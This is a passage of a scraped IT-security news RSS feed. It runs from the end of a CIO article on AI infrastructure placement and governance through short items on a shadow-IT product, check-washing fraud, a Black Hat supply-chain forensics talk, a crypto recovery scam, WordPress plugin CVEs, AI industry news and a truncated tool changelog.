<li>The most underestimated is the vector database and retrieval layer, where storage I/O, query volume and embedding refresh appear nowhere labeled AI until the bill arrives.</li>
</ol>



<h2 class="wp-block-heading">The dimensions leaders underweight resilience and control</h2>



<p>Cost and latency dominate the conversation. Two dimensions rarely get the same rigor until something breaks:</p>



<ol class="wp-block-list">
<li>Resilience, whether an AI-dependent system can survive failure, degrade gracefully and recover predictably.</li>



<li>Control, who can observe, halt and audit it.</li>
</ol>



<p>AI introduces failure modes that traditional architecture never faced: GPU single points of failure under revenue-critical inference, agentic pipelines that fail mid-execution with no rollback, and models that degrade silently from drift or throttling.</p>



<p>I see the pattern repeated across industries. Organizations design resilience for their traditional applications, then deploy AI on top without asking whether the same guarantees hold. In one global financial services firm I advise, a real-time credit-decisioning model running on a single cloud region took a 47-minute outage during a regional availability event. The halted loan approvals cost more than the system’s entire annual infrastructure budget, and the resilience rework that followed cost several times what designing it in from the start would have. The leaders who avoid this should ask four questions before go-live:</p>



<ol class="wp-block-list">
<li>What happens when the network fails?</li>



<li>What happens when the model degrades?</li>



<li>What happens when an agent executes only halfway?</li>



<li>Who holds the authority to halt and audit?</li>
</ol>



<h2 class="wp-block-heading">What the cloud providers signaled this spring</h2>



<p>The major providers are on track to spend <a href="https://www.statista.com/chart/35046/capital-expenditure-of-meta-alphabet-amazon-and-microsoft/" rel="nofollow">close to $700 billion on AI infrastructure in 2026</a>, roughly three and a half times the 2024 level. Their announcements are strategic signals, not just features. Last year they converged on one message: enterprises cannot run everything in public cloud, so all three built ways to bring their infrastructure into your data center and your sovereign environment. This year the signal advanced a step. They stopped talking about where workloads run and started shipping the layer that governs what agents are allowed to do: identity, containment, auditability and rollback.</p>



<p>Microsoft introduced an “Agent Computer” model with execution containers and machine identity for agents. AWS built <a href="https://aws.amazon.com/blogs/aws/top-announcements-of-aws-reinvent-2025/" rel="nofollow">Amazon Bedrock AgentCore</a> around runtime, memory, identity and auditability. Google shipped an agent gateway and sovereign controls for cross-cloud traffic. As <a href="https://www.bain.com/insights/google_cloud_next_2026_the_agentic_enterprise_control_plane_comes_into_view/" rel="nofollow">Bain observed</a>, agentic AI is now an economics and operations problem, not just a capability problem. The through-line, captured by Microsoft’s own framing, is that AI alone will not change your business; the system running it will. <a href="https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/the-next-big-shifts-in-ai-workloads-and-hyperscaler-strategies" rel="nofollow">McKinsey’s read</a> is consistent: workloads are becoming more distributed, specialized and operationally demanding, which forces more deliberate infrastructure decisions.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/hyperscaler-convergence-spring-2026.png?w=1024" alt="Hyperscaler convergence, Spring 2026." class="wp-image-4190723" width="1024" height="557" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Vipin Jain</p></div>



<h2 class="wp-block-heading">From platform choice to placement decision</h2>



<p>The failure I document most often is not a technology failure; it is a governance failure. Most enterprises lack a clear, repeatable way to decide what runs where, under what conditions and with what tradeoffs. Platform teams make that call informally, under deadline pressure and repeat it hundreds of times as new use cases launch. Workloads then accumulate in public cloud by default, not by design and 30 to 50 percent cost overruns follow, not because public cloud was the wrong choice but because no deliberate choice was ever made.</p>



<p>In one global manufacturer I advise, a predictive-maintenance model went live on public cloud and performed exactly as validated in staging. But real-time inference on the factory floor ran at 80 to 120 milliseconds across the WAN, when the machine-control system needed under ten. Moving the model to edge nodes fixed the latency, but the company lost most of a quarter of the cost, rework and delayed benefits, and the line had run for weeks on stale recommendations: a control failure that could have caused a safety event. The fix was never more AI talent. It was a structured placement decision at the start, weighing six dimensions:</p>



<ul class="wp-block-list">
<li><strong>Latency: </strong>real-time (under 10 ms, edge or on-prem), interactive (50 to 500 ms, cloud) or batch.</li>



<li><strong>Cost and TCO: </strong>token spend, GPU utilization, vector-database queries, egress and unit economics per workload.</li>



<li><strong>Resilience: </strong>failover architecture, degraded-mode behavior, recovery SLA and rollback policy.</li>



<li><strong>Control: </strong>observability, audit trails, governance authority and the ability to halt or reverse.</li>



<li><strong>Data sensitivity: </strong>sovereignty requirements, privacy and compliance rules, and IP protection.</li>



<li><strong>Integration: </strong>legacy system dependencies, pipeline complexity and data-residency constraints.</li>
</ul>



<p>Run consistently, those dimensions produce a placement pattern like this:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Workload</strong></td><td><strong>Latency</strong></td><td><strong>Cost predictability</strong></td><td><strong>Data sovereignty</strong></td><td><strong>Recommended path</strong></td></tr></thead><tbody><tr><td><strong>Customer-facing chatbot</strong></td><td>200-500 ms</td><td>Medium</td><td>Low risk</td><td>Public cloud, reserved instances</td></tr><tr><td><strong>Real-time fraud detection</strong></td><td>Under 10 ms</td><td>Medium</td><td>High</td><td>On-prem or sovereign private cloud</td></tr><tr><td><strong>Clinical decision support</strong></td><td>100-300 ms</td><td>Predictable</td><td>Critical</td><td>Sovereign cloud or dedicated VPC</td></tr><tr><td><strong>Demand forecasting (batch)</strong></td><td>Hours</td><td>High</td><td>Low risk</td><td>Spot instances or scheduled cloud</td></tr><tr><td><strong>Factory-floor vision AI</strong></td><td>Under 5 ms</td><td>Predictable</td><td>Medium</td><td>Edge node (Azure Local, AWS on-prem)</td></tr><tr><td><strong>Internal knowledge assistant</strong></td><td>1-3 sec</td><td>Variable tokens</td><td>High (IP risk)</td><td>Private cloud with on-prem retrieval</td></tr></tbody></table> </div></figure>



<p>This is no longer optional. <a href="https://www.storagenewsletter.com/2026/03/11/enterprise-survey-finds-93-are-repatriating-ai-workloads-or-evaluating-a-move-away-from-public-cloud/" rel="nofollow">Cloudian’s 2026 enterprise AI infrastructure survey</a> found that 79 percent of enterprises have already moved AI workloads out of public cloud, and 93 percent are repatriating or actively evaluating it, driven by data sovereignty, cost overruns and real-time performance. Repatriation is now the norm, not the exception.</p>



<p>The agentic layer makes discipline urgent. An agent chains 20 to 100 tool calls, each with its own latency, cost and failure mode, so the governance model that works for a chatbot does not work for an autonomous agent approving procurement or onboarding a customer. This spring the providers shipped production infrastructure for exactly this, yet <a href="https://www.deloitte.com/global/en/issues/generative-ai/state-of-ai-in-enterprise.html" rel="nofollow">Deloitte’s 2026 survey</a> of more than 3,000 leaders finds only about one in five companies has a mature governance model for autonomous agents. The platforms solved the mechanism. Most enterprises have not yet written the policy.</p>



<h2 class="wp-block-heading">What the leaders do differently</h2>



<p>The organizations extracting compounding value from AI, not just running experiments, share one discipline: they treat workload placement as a repeatable process, and they build resilience and control in from the start rather than after the first production incident. In practice, they do five things:</p>



<ol class="wp-block-list">
<li>Classify every use case at intake across the six dimensions, before any infrastructure is provisioned.</li>



<li>Separate AI budget lines for experiments, production inference and training, so cost is governable.</li>



<li>Treat unit economics, cost per inference, per query and per agent run, as engineering KPIs, not month-end surprises.</li>



<li>Define repatriation triggers in advance, typically 12 to 18 months of stable volume.</li>



<li>Write an explicit resilience contract, and agentic observability and rollback rules, before scaling.</li>
</ol>



<p>The gap between strategy-ready and infrastructure-ready is the remediation backlog, and most enterprises stall moving from proof of concept to production for exactly this reason. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/tech-trends/2026/ai-infrastructure-compute-strategy.html" rel="nofollow">Deloitte’s tech-trends analysis</a> frames the same shift as the move to inference economics: the bottleneck is infrastructure governance, not model capability.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/ai-governance.png?w=1024" alt="AI infrastructure maturity: The governance gap." class="wp-image-4190724" width="1024" height="555" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Vipin Jain</p></div>



<p><strong>For CIOs, a 90-day agenda. </strong>Five actions separate the leaders from those managing infrastructure crises:</p>



<ol class="wp-block-list">
<li>Audit every AI workload in production across latency, cost, sovereignty, volume, resilience, control and integration.</li>



<li>Separate AI infrastructure budget lines so each workload type is attributable and governable.</li>



<li>Define unit economics by workload and review them as engineering KPIs.</li>



<li>Set a quantitative repatriation evaluation trigger.</li>



<li>Define observability, cost attribution and rollback policy before scaling agents.</li>
</ol>



<h2 class="wp-block-heading">The strategic reframe</h2>



<p>The organizations making real progress on AI are not distinguished by the sophistication of their models or the size of their cloud contracts. One discipline sets them apart: a clear, repeatable way to decide what runs where, under what conditions, with what tradeoffs and what happens when something fails. That discipline is not an IT problem. It is a strategic capability that requires CIO ownership, CFO alignment and executive accountability.</p>



<p>This spring the cloud providers handed enterprises the infrastructure to run and govern AI, and agents, at every tier of the architecture. The gap is no longer supply. It is the operating model to use deliberately. The companies building that model now build the operating foundation for AI at scale. Everyone else builds a remediation backlog. The infrastructure decisions you make in the next 12 months will decide which of those two you become.</p>



<p><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="nofollow"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="nofollow"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[PrivacyHawk Enterprise helps organizations find shadow IT and minimize third-party cyber risk]]></title>
<description><![CDATA[PrivacyHawk has announced the general availability of PrivacyHawk Enterprise, a solution that identifies and eliminates the shadow IT accounts, abandoned SaaS subscriptions, and forgotten third-party services quietly exposing organizations to breach risk. Every organization has an invisible attac...]]></description>
<link>https://tsecurity.de/de/3633056/it-security-nachrichten/privacyhawk-enterprise-helps-organizations-find-shadow-it-and-minimize-third-party-cyber-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633056/it-security-nachrichten/privacyhawk-enterprise-helps-organizations-find-shadow-it-and-minimize-third-party-cyber-risk/</guid>
<pubDate>Mon, 29 Jun 2026 15:35:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>PrivacyHawk has announced the general availability of PrivacyHawk Enterprise, a solution that identifies and eliminates the shadow IT accounts, abandoned SaaS subscriptions, and forgotten third-party services quietly exposing organizations to breach risk. Every organization has an invisible attack surface. Shadow…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/privacyhawk-enterprise-helps-organizations-find-shadow-it-and-minimize-third-party-cyber-risk/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/privacyhawk-enterprise-helps-organizations-find-shadow-it-and-minimize-third-party-cyber-risk/">PrivacyHawk Enterprise helps organizations find shadow IT and minimize third-party cyber risk</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PrivacyHawk Enterprise helps organizations find shadow IT and minimize third-party cyber risk]]></title>
<description><![CDATA[PrivacyHawk has announced the general availability of PrivacyHawk Enterprise, a solution that identifies and eliminates the shadow IT accounts, abandoned SaaS subscriptions, and forgotten third-party services quietly exposing organizations to breach risk. Every organization has an invisible attac...]]></description>
<link>https://tsecurity.de/de/3633014/it-security-nachrichten/privacyhawk-enterprise-helps-organizations-find-shadow-it-and-minimize-third-party-cyber-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633014/it-security-nachrichten/privacyhawk-enterprise-helps-organizations-find-shadow-it-and-minimize-third-party-cyber-risk/</guid>
<pubDate>Mon, 29 Jun 2026 15:23:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>PrivacyHawk has announced the general availability of PrivacyHawk Enterprise, a solution that identifies and eliminates the shadow IT accounts, abandoned SaaS subscriptions, and forgotten third-party services quietly exposing organizations to breach risk. Every organization has an invisible attack surface. Shadow AI tools. Free trials nobody cancelled. Third-party services still holding employee data from years ago. Over time, that hidden footprint grows largely undetected, and traditional security tools were never built to find it. PrivacyHawk Enterprise … <a href="https://www.helpnetsecurity.com/2026/06/29/privacyhawk-enterprise/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/29/privacyhawk-enterprise/">PrivacyHawk Enterprise helps organizations find shadow IT and minimize third-party cyber risk</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Are Checks Sent Through the Mail Vulnerable to Theft?]]></title>
<description><![CDATA[The New York Times tells the story of a 63-year-old retiree who wrote a check for several thousand dollaras to pay her taxes. But she discovered much later that her taxes were never paid because that check had been intercepted and then altered to be payable to someone else:


In some cases, thiev...]]></description>
<link>https://tsecurity.de/de/3631483/it-security-nachrichten/are-checks-sent-through-the-mail-vulnerable-to-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631483/it-security-nachrichten/are-checks-sent-through-the-mail-vulnerable-to-theft/</guid>
<pubDate>Sun, 28 Jun 2026 21:53:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The New York Times tells the story of a 63-year-old retiree who wrote a check for several thousand dollaras to pay her taxes. But she discovered much later that her taxes were never paid because that check had been intercepted and then altered to be payable to someone else:


In some cases, thieves may pilfer one or more checks from local mailboxes. Adam Rust, director of financial services for the Consumer Federation of America, said thieves sometimes "fish" for checks at free-standing drop boxes, using long tools with sticky pads on the ends to grab letters. In other cases, more sophisticated criminals may steal large batches of checks, copy them and then sell them on the internet. Often, the purloined checks are chemically altered in what's known as "check washing" to remove the name of the recipient. The thief replaces it with a fraudulent name, and often increases the amount of the check, before cashing or depositing it. 

The 63-year-old retiree's bank told her she'd waited too long to recover the funds:

Schwab's "security guarantee," outlined on its website , says that "Schwab will cover losses in any of your Schwab accounts due to unauthorized activity." But fine print at the bottom of the page notes that reimbursement "requires your timely reporting of unauthorized activity to Schwab," and that Schwab "will not be liable for additional or increased losses resulting from a failure to report unauthorized activity in a timely manner." It notes that more details are available in account agreements... Notify your bank as soon as possible, said Scott Anchin, senior vice president of strategic initiatives and policy at the independent bankers association. Banks generally allow at least 30 days and sometimes up to 90 days from the time your statement is made available to you to report suspected check fraud, he said. 

So how can you avoid check fraud? Adam Rust, director of financial services for the Consumer Federation of America, just suggests that "No one should ever mail a check."

If you must write a check, he said, try to deliver it in person or take it inside a post office to mail rather than relying on your own mailbox or public drop boxes. The American Bankers Association recommends using permanent "gel" ink pens when you do write checks to reduce the risk of tampering... And if you don't already, consider using your bank's online bill payment service. 

The article notes that even the U.S. federal government "has been moving away from paper checks for things like benefit payments and income tax refunds, saying digital payment methods are more secure."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Are+Checks+Sent+Through+the+Mail+Vulnerable+to+Theft%3F%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F28%2F1016244%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F28%2F1016244%2Fare-checks-sent-through-the-mail-vulnerable-to-theft%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/28/1016244/are-checks-sent-through-the-mail-vulnerable-to-theft?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Hat Europe 2025 | The Forensic Trail On GitHub: Hunting For Supply Chain Activity]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 4x - Views:24 Ultralytics. tj-actions. Grafana. GitHub Actions are increasingly targeted by attackers and implicated in industry-impacting incidents. Thankfully, GitHub's public surface offers numerous threat intelligence sources for the discerning defender. This ta...]]></description>
<link>https://tsecurity.de/de/3631098/it-security-video/black-hat-europe-2025-the-forensic-trail-on-github-hunting-for-supply-chain-activity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631098/it-security-video/black-hat-europe-2025-the-forensic-trail-on-github-hunting-for-supply-chain-activity/</guid>
<pubDate>Sun, 28 Jun 2026 15:17:45 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 4x - Views:24 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/JZUV8dY7NG4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Ultralytics. tj-actions. Grafana. GitHub Actions are increasingly targeted by attackers and implicated in industry-impacting incidents. Thankfully, GitHub's public surface offers numerous threat intelligence sources for the discerning defender. This talk covers a comprehensive methodology for investigating and tracking real-world supply chain attacks exploiting GitHub Actions, inspired by our work responding to the aforementioned incidents. It adds a new dimension and set of tools to threat intelligence research. We'll expose the wealth of intelligence available directly from both GitHub and the underlying Git plane. Through concrete demos, we'll show how to effectively pivot on user metadata and behavioral heuristics, uncover attacker forks, and recover deleted gists and commits. We'll also demonstrate how to trace attacker aliases, identify targets of reconnaissance, and unmask attackers and researchers in real-time. Attackers are hiding in the complexity of this ecosystem, but with automation we can peel back the noise, empowering detection and investigation. This approach is practical, repeatable, and relies exclusively on publicly available data, ensuring accessibility for all defenders without the need for private threat intelligence feeds.<br />
<br />
By: <br />
Rami McCarthy  |  Principal Security Researcher, Wiz<br />
Amitai Cohen  |  Attack Vector Intelligence Lead, Wiz<br />
<br />
https://blackhat.com/eu-25/briefings/schedule/?#the-forensic-trail-on-github-hunting-for-supply-chain-activity-48832<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lost your crypto access code? Be wary, there‘s a scam for that too]]></title>
<description><![CDATA[A niche type of fraud is lucrative enough for criminals to set up fake websites with dodgy software to harvest your dataAfter holding them for a few years, you have decided it is time to cash in your cryptocurrency holdings. The problem is, it is so long since you set up the digital wallet which ...]]></description>
<link>https://tsecurity.de/de/3630954/it-nachrichten/lost-your-crypto-access-code-be-wary-theres-a-scam-for-that-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630954/it-nachrichten/lost-your-crypto-access-code-be-wary-theres-a-scam-for-that-too/</guid>
<pubDate>Sun, 28 Jun 2026 13:18:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A niche type of fraud is lucrative enough for criminals to set up fake websites with dodgy software to harvest your data</p><p>After holding them for a few years, you have decided it is time to cash in your cryptocurrency holdings. The problem is, it is so long since you set up the digital wallet which manages them on your laptop, you have forgotten the lengthy access code.</p><p>Stressed at the thought of losing thousands of pounds, you search and download a program which promises to recover the 24-word “seed phrase” which gives you access to your cypto assets.</p> <a href="https://www.theguardian.com/money/2026/jun/28/scam-watch-panic-thats-just-what-fraudsters-are-waiting-for-to-steal-your-crypto-data">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56010 | tychesoftwares Abandoned Cart Pro for WooCommerce Plugin up to 10.4.0 on WordPress privileges assignment (EUVD-2026-39686)]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in tychesoftwares Abandoned Cart Pro for WooCommerce Plugin up to 10.4.0 on WordPress. This affects an unknown part. Executing a manipulation can lead to incorrect privilege assignment.

This vulnerability is registered as CVE-2026-56010...]]></description>
<link>https://tsecurity.de/de/3630246/sicherheitsluecken/cve-2026-56010-tychesoftwares-abandoned-cart-pro-for-woocommerce-plugin-up-to-1040-on-wordpress-privileges-assignment-euvd-2026-39686/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630246/sicherheitsluecken/cve-2026-56010-tychesoftwares-abandoned-cart-pro-for-woocommerce-plugin-up-to-1040-on-wordpress-privileges-assignment-euvd-2026-39686/</guid>
<pubDate>Sat, 27 Jun 2026 23:39:17 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/tychesoftwares:abandoned_cart_pro_for_woocommerce_plugin">tychesoftwares Abandoned Cart Pro for WooCommerce Plugin up to 10.4.0</a> on WordPress. This affects an unknown part. Executing a manipulation can lead to incorrect privilege assignment.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-56010">CVE-2026-56010</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Asian AI startups launch Mythos-like  models as Anthropic’s export ban drags on]]></title>
<description><![CDATA[New models are launching in Asia that promise Mythos-like capabilities without fear of an export ban. U.S. AI labs may never recover this enormous market.]]></description>
<link>https://tsecurity.de/de/3629529/ai-nachrichten/asian-ai-startups-launch-mythos-like-models-as-anthropics-export-ban-drags-on/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629529/ai-nachrichten/asian-ai-startups-launch-mythos-like-models-as-anthropics-export-ban-drags-on/</guid>
<pubDate>Sat, 27 Jun 2026 14:02:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New models are launching in Asia that promise Mythos-like capabilities without fear of an export ban. U.S. AI labs may never recover this enormous market.]]></content:encoded>
</item>
<item>
<title><![CDATA[Snapchat Streak Lost? Here’s How to Recover It]]></title>
<description><![CDATA[Snapchat is intuitive and engaging due to its myriad of fun features, albeit many users would argue about Snapstreak being their favorite of the pack. If you’ve had a Snapchat streak lost unexpectedly, you’re not alone — this is one of the most common frustrations on the platform. While I share t...]]></description>
<link>https://tsecurity.de/de/3628540/betriebssysteme/snapchat-streak-lost-heres-how-to-recover-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628540/betriebssysteme/snapchat-streak-lost-heres-how-to-recover-it/</guid>
<pubDate>Fri, 26 Jun 2026 22:39:23 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Snapchat is intuitive and engaging due to its myriad of fun features, albeit many users would argue about Snapstreak being their favorite of the pack. If you’ve had a Snapchat streak lost unexpectedly, you’re not alone — this is one of the most common frustrations on the platform. While I share their sentiments about loving […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/messaging/snapchat-streak-lost/">Snapchat Streak Lost? Here’s How to Recover It</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-57637 | tychesoftwares Abandoned Cart Lite for WooCommerce Plugin up to 6.8.0 on WordPress cross-site request forgery (EUVD-2026-39753)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in tychesoftwares Abandoned Cart Lite for WooCommerce Plugin up to 6.8.0 on WordPress. Impacted is an unknown function. The manipulation leads to cross-site request forgery.

This vulnerability is documented as CVE-2026-57637. T...]]></description>
<link>https://tsecurity.de/de/3628379/sicherheitsluecken/cve-2026-57637-tychesoftwares-abandoned-cart-lite-for-woocommerce-plugin-up-to-680-on-wordpress-cross-site-request-forgery-euvd-2026-39753/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628379/sicherheitsluecken/cve-2026-57637-tychesoftwares-abandoned-cart-lite-for-woocommerce-plugin-up-to-680-on-wordpress-cross-site-request-forgery-euvd-2026-39753/</guid>
<pubDate>Fri, 26 Jun 2026 20:52:12 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/tychesoftwares:abandoned_cart_lite_for_woocommerce_plugin">tychesoftwares Abandoned Cart Lite for WooCommerce Plugin up to 6.8.0</a> on WordPress. Impacted is an unknown function. The manipulation leads to cross-site request forgery.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-57637">CVE-2026-57637</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[How Mac Users Are Getting More Out of AI Creative Work]]></title>
<description><![CDATA[For a long time, the Mac's reputation as a creative machine rested on its hardware and native apps — Final Cut, Logic, the tight integration between a Retina display and color-accurate tools. AI has started to quietly rewrite that equation.



The shift isn't dramatic. Most Mac users haven't aban...]]></description>
<link>https://tsecurity.de/de/3627699/ios-mac-os/how-mac-users-are-getting-more-out-of-ai-creative-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627699/ios-mac-os/how-mac-users-are-getting-more-out-of-ai-creative-work/</guid>
<pubDate>Fri, 26 Jun 2026 16:22:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For a long time, the Mac's reputation as a creative machine rested on its hardware and native apps — Final Cut, Logic, the tight integration between a Retina display and color-accurate tools. AI has started to quietly rewrite that equation.



The shift isn't dramatic. Most Mac users haven't abandoned their existing workflows. But something is changing in how people approach the early, messier stages of creative work — ideation, iteration, rapid visual exploration — and AI tools are filling a gap that native apps never really addressed.



The Friction Nobody Talks About



The real challenge with AI-assisted creative work isn't capability. The models are impressive. The friction is operational: too many platforms, too many tabs, too much manual handoff between steps.



A typical session might involve generating an image in one tool, downloading it, uploading it somewhere else for background removal, switching to another service for video conversion, and then losing track of which version came from which prompt. This kind of tool-hopping breaks the focused state that creative work depends on.



Mac users feel this acutely, because the platform has always rewarded deep, single-environment focus. The friction isn't a technical problem — it's a workflow problem.



What's Actually Changing







The most useful AI tools emerging right now aren't necessarily the ones with the most powerful models. They're the ones that minimize context-switching.



This is showing up in a few different ways:



Unified canvas environments. Some tools are moving toward a visual, node-based interface — where discrete AI tasks (image generation, background swap, video conversion) connect to each other on an infinite canvas, with outputs flowing directly from one step to the next. For Mac users who think spatially and work across large or multiple displays, this approach fits naturally. 



Multi-model access in one place. Rather than holding separate subscriptions to GPT Image 2, Seedance, Kling, Midjourney, or other services, users increasingly want a single interface where different models can be called on for different tasks within the same session. Banana Pro AI is one platform taking this direction — the model becomes a tool choice, not a platform commitment.



Reusable workflow templates. Once a pipeline is built — say, a product photo → model integration → short video sequence — it can be saved and rerun with new inputs. Tools like Workflow Studio make this possible without rebuilding from scratch each time. The setup cost is paid once, which matters most to anyone managing a content catalog or running regular production cycles.



The Mac Advantage in This Context



None of this is Mac-exclusive. But there are reasons Mac users tend to adopt these kinds of tools quickly.



The platform's culture has always favored deep tool mastery over constant app-switching. When a creative environment reduces friction and rewards learning its structure, Mac users lean in. The spatial thinking that makes tools like Figma, Miro, or even Xcode feel natural translates well to canvas-based AI workflows.



The device ecosystem matters too. Heavy work happens at a desk — MacBook Pro, external display, the full setup. But review, approval, and light adjustment increasingly happen on an iPhone. Tools that sync across both contexts fit into how Mac users already move through their day.



The Shift in Creative Roles



What AI actually changes isn't the final output — it's who can generate a first draft, and how quickly.



A solo designer can now run product photography variations, motion concepts, and visual alternates in a single session that would have previously required a photographer, a video editor, and several rounds of back-and-forth. The creative direction still comes from the person. The labor-intensive middle steps increasingly don't.



This doesn't collapse the value of craft. If anything, it raises the bar for creative judgment — because the bottleneck is no longer production capacity, it's the quality of decisions made at each step. Mac users who treat these tools as leverage for their existing skills, rather than replacements for them, tend to get the most out of them.



A Practical Reality



The honest version of this story isn't that AI has transformed creative work overnight. Most professionals are still figuring out where it fits and where it doesn't.



What has changed is that the experimentation cost has dropped. Trying a visual direction, running a quick motion test, exploring a product presentation format — these used to require either significant time or significant budget. They increasingly don't.



For Mac users with an existing creative practice, that's not a disruption. It's an expansion of what's possible in a single afternoon's work.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.193]]></title>
<description><![CDATA[What's changed

Added autoMode.classifyAllShell setting to route all Bash/PowerShell commands through the auto-mode classifier instead of only arbitrary-code-execution patterns
Added auto-mode denial reasons to the transcript, the denial toast, and /permissions recent denials
Added claude_code.as...]]></description>
<link>https://tsecurity.de/de/3625946/downloads/v21193/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625946/downloads/v21193/</guid>
<pubDate>Fri, 26 Jun 2026 00:02:21 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>autoMode.classifyAllShell</code> setting to route all Bash/PowerShell commands through the auto-mode classifier instead of only arbitrary-code-execution patterns</li>
<li>Added auto-mode denial reasons to the transcript, the denial toast, and <code>/permissions</code> recent denials</li>
<li>Added <code>claude_code.assistant_response</code> OpenTelemetry log event containing the model's response text. Redacted unless <code>OTEL_LOG_ASSISTANT_RESPONSES=1</code>; when that var is unset it follows <code>OTEL_LOG_USER_PROMPTS</code>, so deployments that already log prompt content will start receiving response content on upgrade — set <code>OTEL_LOG_ASSISTANT_RESPONSES=0</code> to keep prompts-only.</li>
<li>Added live file path autocomplete to bash mode (<code>!</code>)</li>
<li>Added a startup notice when MCP servers need authentication, pointing at <code>/mcp</code></li>
